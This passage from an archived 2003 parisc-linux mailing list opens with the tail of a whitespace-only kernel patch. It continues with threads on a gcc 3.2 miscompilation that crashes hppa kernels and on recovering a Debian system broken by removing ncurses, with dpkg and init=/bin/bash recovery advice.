 static void walk_native_bus(unsigned long io_io_low, unsigned long io_io_high,
-			    struct parisc_device *parent)
+                            struct parisc_device *parent)
 {
 	int i, devices_found = 0;
 	unsigned long hpa = io_io_low;
@@ -523,7 +521,7 @@ static void walk_native_bus(unsigned lon
 
 	get_node_path(parent, &path);
 	do {
-		for (i = 0; i < MAX_NATIVE_DEVICES; i++, hpa += NATIVE_DEVICE_OFFSET) {
+		for(i = 0; i < MAX_NATIVE_DEVICES; i++, hpa += NATIVE_DEVICE_OFFSET) {
 			struct parisc_device *dev;
 
 			/* Was the device already added by Firmware? */
@@ -539,7 +537,7 @@ static void walk_native_bus(unsigned lon
 			}
 			walk_lower_bus(dev);
 		}
-	} while (!devices_found && hpa < io_io_high);
+	} while(!devices_found && hpa < io_io_high);
 }
 
 #define CENTRAL_BUS_ADDR (unsigned long) 0xfffffffffff80000
@@ -552,7 +550,7 @@ static void walk_native_bus(unsigned lon
  */
 void walk_central_bus(void)
 {
-	walk_native_bus(CENTRAL_BUS_ADDR, 
+	walk_native_bus(CENTRAL_BUS_ADDR,
 			CENTRAL_BUS_ADDR + (MAX_NATIVE_DEVICES * NATIVE_DEVICE_OFFSET),
 			&root);
 }

--=-0MeGBE4XA6qyeKAx+l2s--



From - Thu Nov 08 21:26:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Fri, 24 Jan 2003 12:02:25 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <3E30242300000111__20896.6146376499$1416622141$gmane$org@ocpmta8.freegates.net>
References: <20030121235716.GA2193@dsl2.external.hp.com>
Reply-To: "Joel Soete" <joel.soete@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622141 20529 80.91.229.3 (22 Nov 2014 02:09:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:01 +0000 (UTC)
Cc: "Randolph Chung" <tausq@debian.org>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: grundler@dsl2.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 24 16:11:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B1394829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 Jan 2003 16:11:50 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18cCz2-0007wk-00; Sat, 25 Jan 2003 00:11:36 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 24 Jan 2003 12:02:25 +0100
In-Reply-To: <20030121235716.GA2193@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17479

Hi Grant,
...
>  And since all of the
>TCP code and mid-level pty mgt is arch independent, I'm starting
>to believe this is a toolchain bug.
>
>Stephan Eranian had a good idea - replace .o's in the gcc 3.2
>built kernel tree with .o's built using gcc-3.0. Then maybe we
>can narrow down where the issue is.
>
Following this idea I do the following test:

on a b2k unstable debian install with toolchain pkg:

ii  gcc            3.2.2-0        The GNU C compiler.
ii  gcc-3.0        3.0.4-14       The GNU C compiler
ii  gcc-3.0-base   3.0.4-14       The GNU Compiler Collection (base package)
ii  gcc-3.2        3.2.2-0pre5    The GNU C compiler
ii  gcc-3.2-base   3.2.2-0pre5    The GNU Compiler Collection (base package)
ii  gcc-snapshot   20030118-1     A SNAPSHOT of the The GNU Compiler Collectio
ii  libc6          2.3.1-10       GNU C Library: Shared libraries and Timezone
ii  libc6-dev      2.3.1-10       GNU C Library: Development Libraries and
Hea
ii  binutils       2.13.90.0.16-1 The GNU assembler, linker and binary utiliti
ii  binutils-dev   2.13.90.0.16-1 The GNU binary utilities (BFD development
fi

I build first kernel-2.4.20-pa22 with default gcc (ie gcc-3.2); without surprise
it crashed on the first incomming ip connection.

I then 'make distclean', replaced gcc by gcc-3.0 into Makefile and rebuild
so the same sources with the same .config. The result is an operational kernel.

Trust me, in this test the only variable is gcc release. Does it help?

That said, always in the continuity of this idea, I also notice that ld is
used to build some kernel parts. Is it  possible (even manually just for
test) to use gcc in place of ld? (if yes, howto?)

hth,
    Joel


*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be




From - Thu Nov 08 21:26:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sir Ace <chandler@nateng.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Um... WTF?
Date: Fri, 24 Jan 2003 15:37:28 -0800 (PST)
Lines: 65
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0301241520210.25246-100000@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622141 20530 80.91.229.3 (22 Nov 2014 02:09:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:01 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 24 16:33:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.nateng.com (user-vc8fdp3.biz.mindspring.com [216.135.183.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 535C64829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 Jan 2003 16:33:51 -0700 (MST)
Original-Received: from jordan.eng.nateng.com (jordan.eng.nateng.com [172.16.100.200])
	by mail.nateng.com (8.11.2/8.11.2) with ESMTP id h0ONlQT13546
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 Jan 2003 15:47:26 -0800
X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: mail.nateng.com
Original-Received: from localhost (chandler@localhost)
	by jordan.eng.nateng.com (8.11.4/8.11.4) with ESMTP id h0ONbSA25254
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 Jan 2003 15:37:28 -0800
X-Authentication-Warning: jordan.eng.nateng.com: chandler owned process doing -bs
X-X-Sender: <chandler@jordan.eng.nateng.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17480

  I have no idea who to direct this to, and everyone keeps directing me to
this liste, so here goes.

Who was the CRACK HEAD that built the debian 3.0 dist for hppa?
I am trying to build everyday things on the system to at least make it
useable.  I just built ncurses {current} on my box, but to install the
ncurses, I had to remove the current debian package.

Herein lies the problem, some how EVERY DAMN THING on the system seems to
be built against ncurses, I can't open a login shell, I can't run apt* I
can't even run half the system commands without getting an error
complaining that ncurses is not on the system.

I am kinda peaved since I put the files on the system to add ncurses back,
then went home for the weekend to fix it.  Well, since I can't log in
anymore.  Unfortunatly now I no longer have any shells open, and I am
either reduced to working off the cd for a repair if possible.
Or stuck re-installing the system. Which took a day between the slowness
of the machine and the slowness of the internet connection. Not to mention
4 days of software builds...

Does anyone have an explination for this? Or better yet a way that isn't
going to involve a massive amount of work to get the machine in order
again?

-------------------------------------------------------------------------
chandler@jordan:~$ telnet 172.16.100.148
Trying 172.16.100.148...
Connected to 172.16.100.148.
Escape character is '^]'.
Debian GNU/Linux 3.0 HPTux
HPTux login: root
Password:
Last login: Fri Jan 24 23:13:14 2003 from asok.eng.nateng.com on pts/2
Linux HPTux 2.4.17-32 #1 Sat Mar 16 17:09:00 MST 2002 parisc unknown

Most of the programs included with the Debian GNU/Linux system are
freely redistributable; the exact distribution terms for each program
are described in the individual files in /usr/share/doc/*/copyright

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
-bash: error while loading shared libraries: libncurses.so.5: cannot open
shared
 object file: No such file or directory
Connection closed by foreign host.
-------------------------------------------------------------------------
chandler@jordan:~$ ssh -l root 172.16.100.148
root@172.16.100.148's password:
Last login: Fri Jan 24 23:25:12 2003 from jordan.eng.nateng.com on pts/2
Linux HPTux 2.4.17-32 #1 Sat Mar 16 17:09:00 MST 2002 parisc unknown

Most of the programs included with the Debian GNU/Linux system are
freely redistributable; the exact distribution terms for each program
are described in the individual files in /usr/share/doc/*/copyright

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jan 24 23:25:12 2003 from jordan.eng.nateng.com
-bash: error while loading shared libraries: libncurses.so.5: cannot open
shared
 object file: No such file or directory
Connection to 172.16.100.148 closed.



From - Thu Nov 08 21:26:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Fri, 24 Jan 2003 18:18:32 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20030125011832.GA6228__5814.53761919892$1416622142$gmane$org@dsl2.external.hp.com>
References: <20030121235716.GA2193@dsl2.external.hp.com> <3E30242300000111@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622142 20532 80.91.229.3 (22 Nov 2014 02:09:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 24 18:18:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 87A494829; Fri, 24 Jan 2003 18:18:32 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3E30242300000111@ocpmta8.freegates.net>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17481

On Fri, Jan 24, 2003 at 12:02:25PM +0100, Joel Soete wrote:
> Trust me, in this test the only variable is gcc release. Does it help?

not alot. We need to narrow down *what* is broken and then show that
to the compiler/toolchain experts. They need either a test case or
shown broken asm output.

> That said, always in the continuity of this idea, I also notice that ld is
> used to build some kernel parts. Is it  possible (even manually just for
> test) to use gcc in place of ld? (if yes, howto?)

hmm...offhand I don't know.

grant


From - Thu Nov 08 21:26:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Um... WTF?
Date: Fri, 24 Jan 2003 18:53:08 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <20030125015308.GC6228@dsl2.external.hp.com>
References: <Pine.LNX.4.33.0301241520210.25246-100000@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622142 20533 80.91.229.3 (22 Nov 2014 02:09:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sir Ace <chandler@nateng.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 24 18:53:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 793514829; Fri, 24 Jan 2003 18:53:08 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.33.0301241520210.25246-100000@jordan.eng.nateng.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17482

On Fri, Jan 24, 2003 at 03:37:28PM -0800, Sir Ace wrote:
> 
>   I have no idea who to direct this to, and everyone keeps directing me to
> this liste, so here goes.

parisc-linux mailing list is really intended for kernel stuff.
lists.debian.org has lots of mailing lists to post rants.

> Who was the CRACK HEAD that built the debian 3.0 dist for hppa?

yeah, debian-hppa list would have been better.  Or debian-devel.
Your problem is not hppa specific.

/me sits back to watch the late New Years fireworks...

> I am trying to build everyday things on the system to at least make it
> useable.  I just built ncurses {current} on my box, but to install the
> ncurses, I had to remove the current debian package.

Why remove the existing package?
I overwrite existing files when I need to.


> Herein lies the problem, some how EVERY DAMN THING on the system seems to
> be built against ncurses,

Right. *system* being the operative word here.

> I am either reduced to working off the cd for a repair if possible.

yes. The CD has a shell which will let you fix *most* things.

You might also try booting with "init=/bin/bash" or if you are lucky,
"init=/bin/sash". Then by hand re-install the libncurses.


> Not to mention 4 days of software builds...

uhm...what are you building that takes 4 days?
Not even glibc or xfree86 takes that long.


grant



From - Thu Nov 08 21:26:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Fri, 24 Jan 2003 23:23:50 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200301250423.h0P4Noxq000220__23549.170830711$1416622142$gmane$org@hiauly1.hia.nrc.ca>
References: <3E30242300000111@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622142 20537 80.91.229.3 (22 Nov 2014 02:09:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:02 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, tausq@debian.org,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: joel.soete@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 24 21:23:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 00F4C4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 Jan 2003 21:23:55 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h0P4Npot000222;
	Fri, 24 Jan 2003 23:23:52 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h0P4Noxq000220;
	Fri, 24 Jan 2003 23:23:50 -0500 (EST)
In-Reply-To: <3E30242300000111@ocpmta8.freegates.net> from "Joel Soete" at Jan 24, 2003 12:02:25 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17483

> That said, always in the continuity of this idea, I also notice that ld is
> used to build some kernel parts. Is it  possible (even manually just for
> test) to use gcc in place of ld? (if yes, howto?)

When linking, gcc is just a front end for ld.  You can see what happens
with "-v", "-Wl,-v", "-Wl,-debug", etc.  You can pass any option that
you want to ld using the gcc "-Wl" option.  Gcc doesn't doing any linking
itself.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Um... WTF?
Date: Sat, 25 Jan 2003 17:17:51 +0800
Lines: 47
Approved: news@gmane.org
Message-ID: <20030125171749.F674@neep.com.au>
References: <Pine.LNX.4.33.0301241520210.25246-100000@jordan.eng.nateng.com> <20030125015308.GC6228@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622143 20540 80.91.229.3 (22 Nov 2014 02:09:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 25 02:18:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (p238.sw02.auto.usertools.net [202.154.81.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id 361034829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 Jan 2003 02:18:42 -0700 (MST)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id RAA03832
	for parisc-linux@lists.parisc-linux.org; Sat, 25 Jan 2003 17:17:54 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20030125015308.GC6228@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Fri, Jan 24, 2003 at 06:53:08PM -0700
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17484

Grant Grundler said:
> On Fri, Jan 24, 2003 at 03:37:28PM -0800, Sir Ace wrote:
> >   I have no idea who to direct this to, and everyone keeps directing me to
> > this liste, so here goes.
> 
> parisc-linux mailing list is really intended for kernel stuff.

And glibc, gcc, binutils, & documentation ... everything hppa but not
Debian.  =)

> lists.debian.org has lots of mailing lists to post rants.

Not that they're any more welcome there.

> > Herein lies the problem, some how EVERY DAMN THING on the system seems to
> > be built against ncurses,
> 
> Right. *system* being the operative word here.

Poor Sir Ace must be confused.  A Debian GNU/Linux 3.0 install on hppa
should work fine.  Look at all these happy people who are running it!

Possibly the ncurses package was not installed properly, or some of the
files owned by it had become damaged or corrupted.  You could manually
reinstall the package with 'dpkg -i /path/to/package.deb' and then make
sure that all packages are ready with 'dpkg --configure -a'.  Then you
can run 'dpkg -l|grep -v ^ii' to see what (if any) packages on the
system are in a state other than fully installed (eg partially
installed, not configured, etc.)

If you've done all this and not gotten anywhere, the debian-hppa list
may be able to help you out if you ask nicely.

> You might also try booting with "init=/bin/bash" or if you are lucky,
> "init=/bin/sash". Then by hand re-install the libncurses.

Grant, do you mean "lucky" as in "if you've got sash installed"?  It
doesn't depend on ncurses.  Or am I just not understanding you?

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:26:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Um... WTF?
Date: Sat, 25 Jan 2003 14:11:30 +0100
Organization: ESIEE
Lines: 29
Approved: news@gmane.org
Message-ID: <20030125141130.7495a051.varenet@esiee.fr>
References: <Pine.LNX.4.33.0301241520210.25246-100000@jordan.eng.nateng.com>
	<20030125015308.GC6228@dsl2.external.hp.com>
	<20030125171749.F674@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622143 20542 80.91.229.3 (22 Nov 2014 02:09:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Sir Ace" <chandler@nateng.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 25 06:11:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep12-int.chello.at (viefep12-int.chello.at [213.46.255.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id C94D6482E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 Jan 2003 06:11:36 -0700 (MST)
Original-Received: from Bibou ([212.186.189.113]) by viefep12-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with SMTP
          id <20030125131132.TJNU27217.viefep12-int.chello.at@Bibou>;
          Sat, 25 Jan 2003 14:11:32 +0100
In-Reply-To: <20030125171749.F674@neep.com.au>
X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17485

On Sat, 25 Jan 2003 17:17:51 +0800
"Andrew Shugg" <andrew@neep.com.au> wrote:

> Grant Grundler said:
> > On Fri, Jan 24, 2003 at 03:37:28PM -0800, Sir Ace wrote:
> > > Herein lies the problem, some how EVERY DAMN THING on the system
> > > seems to be built against ncurses,
> > 
> > Right. *system* being the operative word here.
> 
> Poor Sir Ace must be confused.  A Debian GNU/Linux 3.0 install on hppa
> should work fine.  Look at all these happy people who are running it!
http://pateam.esiee.fr/realisations.html

FWIW, when I encounter such diseases on _any_ platform, I first suspect
the hardware, not the "it-works-for-thousands-of-persons" software.

What's more, no need to use CAPS, exclamations and other insults to ask
questions or report problems. You won't get any result but upsetting
guys who did a _damn good work_ to make the stuff work.


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/

-- 
It's always easy to criticize one's work, but try to do it first...


From - Thu Nov 08 21:26:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Sat, 25 Jan 2003 18:30:24 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <3E32D7C0.9020703__30529.6877086677$1416622143$gmane$org@tiscali.be>
References: <200301250423.h0P4Noxq000220@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622143 20544 80.91.229.3 (22 Nov 2014 02:09:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:03 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, tausq@debian.org,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jan 25 10:21:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
